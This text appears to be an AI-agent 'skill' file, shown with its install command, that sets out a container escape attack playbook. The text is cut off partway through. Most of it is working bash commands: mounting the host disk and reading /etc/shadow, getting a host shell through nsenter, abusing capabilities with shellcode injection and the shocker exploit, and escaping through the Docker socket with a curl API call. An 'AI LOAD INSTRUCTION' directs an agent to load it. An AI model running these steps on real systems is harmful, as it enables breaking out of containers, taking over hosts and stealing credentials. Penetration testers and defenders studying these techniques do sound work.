$npx -y skills add Prohao42/aimy-skill --skill container-escape-techniquesContainer escape playbook. Use when operating inside a Docker container, LXC, or Kubernetes pod and need to escape to the host via privileged mode, capabilities, Docker socket, cgroup abuse, namespace tricks, or runtime vulnerabilities.
| 1 | # SKILL: Container Escape Techniques — Expert Attack Playbook |
| 2 | |
| 3 | > **AI LOAD INSTRUCTION**: Expert container escape techniques. Covers privileged container breakout, capability abuse, Docker socket exploitation, cgroup release_agent, namespace escape, runtime CVEs, and Kubernetes pod escape. Base models miss subtle escape paths via combined capabilities and cgroup manipulation. |
| 4 | |
| 5 | ## 0. RELATED ROUTING |
| 6 | |
| 7 | Before going deep, consider loading: |
| 8 | |
| 9 | - [linux-privilege-escalation](../linux-privilege-escalation/SKILL.md) when you first need root inside the container before attempting escape |
| 10 | - [kubernetes-pentesting](../kubernetes-pentesting/SKILL.md) for K8s-specific attack paths beyond pod escape |
| 11 | - [linux-security-bypass](../linux-security-bypass/SKILL.md) when seccomp/AppArmor blocks your escape technique |
| 12 | |
| 13 | ### Advanced Reference |
| 14 | |
| 15 | Also load [DOCKER_ESCAPE_CHAINS.md](./DOCKER_ESCAPE_CHAINS.md) when you need: |
| 16 | - Step-by-step escape chains for common misconfigurations |
| 17 | - Docker-in-Docker escape scenarios |
| 18 | - Kubernetes-specific escape paths with full command sequences |
| 19 | |
| 20 | --- |
| 21 | |
| 22 | ## 1. AM I IN A CONTAINER? |
| 23 | |
| 24 | ```bash |
| 25 | # Quick checks |
| 26 | cat /proc/1/cgroup 2>/dev/null | grep -qi "docker\|kubepods\|containerd" |
| 27 | ls -la /.dockerenv 2>/dev/null |
| 28 | cat /proc/self/mountinfo | grep -i "overlay\|docker\|kubelet" |
| 29 | hostname # random hex = likely container |
| 30 | |
| 31 | # Detailed check |
| 32 | cat /proc/1/status | head -5 # PID 1 is not systemd/init? |
| 33 | mount | grep -i "overlay" # overlay filesystem? |
| 34 | ip addr # veth interface? limited NICs? |
| 35 | ``` |
| 36 | |
| 37 | ### Tools for Container Detection |
| 38 | |
| 39 | ```bash |
| 40 | # amicontained: shows container runtime, capabilities, seccomp |
| 41 | ./amicontained |
| 42 | |
| 43 | # deepce: Docker enumeration and exploit suggester |
| 44 | ./deepce.sh |
| 45 | |
| 46 | # CDK: all-in-one container pentesting toolkit |
| 47 | ./cdk evaluate |
| 48 | ``` |
| 49 | |
| 50 | --- |
| 51 | |
| 52 | ## 2. PRIVILEGED CONTAINER ESCAPE |
| 53 | |
| 54 | If `--privileged` flag was used, the container has nearly all host capabilities and device access. |
| 55 | |
| 56 | ### 2.1 Mount Host Filesystem |
| 57 | |
| 58 | ```bash |
| 59 | # Check if privileged |
| 60 | cat /proc/self/status | grep CapEff |
| 61 | # CapEff: 0000003fffffffff = fully privileged |
| 62 | |
| 63 | # Find host disk |
| 64 | fdisk -l 2>/dev/null || lsblk |
| 65 | # Usually /dev/sda1 or /dev/vda1 |
| 66 | |
| 67 | # Mount host root |
| 68 | mkdir -p /mnt/host |
| 69 | mount /dev/sda1 /mnt/host |
| 70 | |
| 71 | # Access host filesystem |
| 72 | cat /mnt/host/etc/shadow |
| 73 | chroot /mnt/host bash |
| 74 | ``` |
| 75 | |
| 76 | ### 2.2 nsenter (Enter Host Namespaces) |
| 77 | |
| 78 | ```bash |
| 79 | # From privileged container, enter host PID 1's namespaces |
| 80 | nsenter --target 1 --mount --uts --ipc --net --pid -- bash |
| 81 | |
| 82 | # This gives a shell in the host's namespace context |
| 83 | # Effectively a full host shell |
| 84 | ``` |
| 85 | |
| 86 | ### 2.3 Privileged + Host PID Namespace |
| 87 | |
| 88 | ```bash |
| 89 | # If hostPID: true is set (Kubernetes) |
| 90 | # Access host processes via /proc |
| 91 | ls /proc/1/root/ # Host root filesystem |
| 92 | cat /proc/1/root/etc/shadow |
| 93 | |
| 94 | # Inject into host process |
| 95 | nsenter --target 1 --mount -- bash |
| 96 | ``` |
| 97 | |
| 98 | --- |
| 99 | |
| 100 | ## 3. CAPABILITY-BASED ESCAPE |
| 101 | |
| 102 | ### 3.1 CAP_SYS_ADMIN — Most Versatile |
| 103 | |
| 104 | ```bash |
| 105 | # Check capabilities |
| 106 | capsh --print 2>/dev/null |
| 107 | grep CapEff /proc/self/status |
| 108 | |
| 109 | # Escape via mounting |
| 110 | mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp |
| 111 | # Or mount host filesystem if device access exists |
| 112 | mount /dev/sda1 /mnt/host 2>/dev/null |
| 113 | ``` |
| 114 | |
| 115 | ### 3.2 CAP_SYS_PTRACE — Process Injection |
| 116 | |
| 117 | ```bash |
| 118 | # Inject shellcode into a host process (requires host PID namespace) |
| 119 | # Find a root process |
| 120 | ps aux | grep root |
| 121 | |
| 122 | # Use gdb or python-ptrace to inject |
| 123 | python3 << 'EOF' |
| 124 | import ctypes |
| 125 | import ctypes.util |
| 126 | |
| 127 | libc = ctypes.CDLL(ctypes.util.find_library("c")) |
| 128 | |
| 129 | # Attach to host process, inject shellcode |
| 130 | # ... (full inject_shellcode implementation) |
| 131 | EOF |
| 132 | ``` |
| 133 | |
| 134 | ### 3.3 CAP_NET_ADMIN |
| 135 | |
| 136 | ```bash |
| 137 | # Manipulate host network if host network namespace is shared |
| 138 | # ARP spoofing, route manipulation, traffic interception |
| 139 | iptables -L # Can see/modify host firewall rules? |
| 140 | ip route # Can modify routing? |
| 141 | ``` |
| 142 | |
| 143 | ### 3.4 CAP_DAC_READ_SEARCH (Shocker Exploit) |
| 144 | |
| 145 | ```bash |
| 146 | # open_by_handle_at() bypass — read files from host |
| 147 | # Compile and run the "shocker" exploit |
| 148 | # Works when DAC_READ_SEARCH capability is granted |
| 149 | gcc shocker.c -o shocker |
| 150 | ./shocker /etc/shadow # Read host file |
| 151 | ``` |
| 152 | |
| 153 | --- |
| 154 | |
| 155 | ## 4. DOCKER SOCKET ESCAPE (/var/run/docker.sock) |
| 156 | |
| 157 | ```bash |
| 158 | ls -la /var/run/docker.sock # Check if mounted |
| 159 | |
| 160 | # With Docker CLI: |
| 161 | docker run -v /:/host --privileged -it alpine chroot /host bash |
| 162 | |
| 163 | # Without CLI (curl only) — create privileged container via API: |
| 164 | curl -s --unix-socket /var/run/docker.sock \ |
| 165 | -X POST http://localhost/containers/create \ |
| 166 | -H "Content-Type: application/json" \ |
| 167 | -d '{"Image":"alpine","Cmd":["/bin/sh"],"Tty":true,"OpenStdin":true, |
| 168 | "HostConfig":{"Binds":["/:/host"],"Privileged":true}}' |
| 169 | # Start → Exec chroot /host bash (see DOCKER_ESCAPE_CHAINS.md for full sequence) |
| 170 | ``` |
| 171 | |
| 172 | --- |
| 173 | |
| 174 | ## 5. |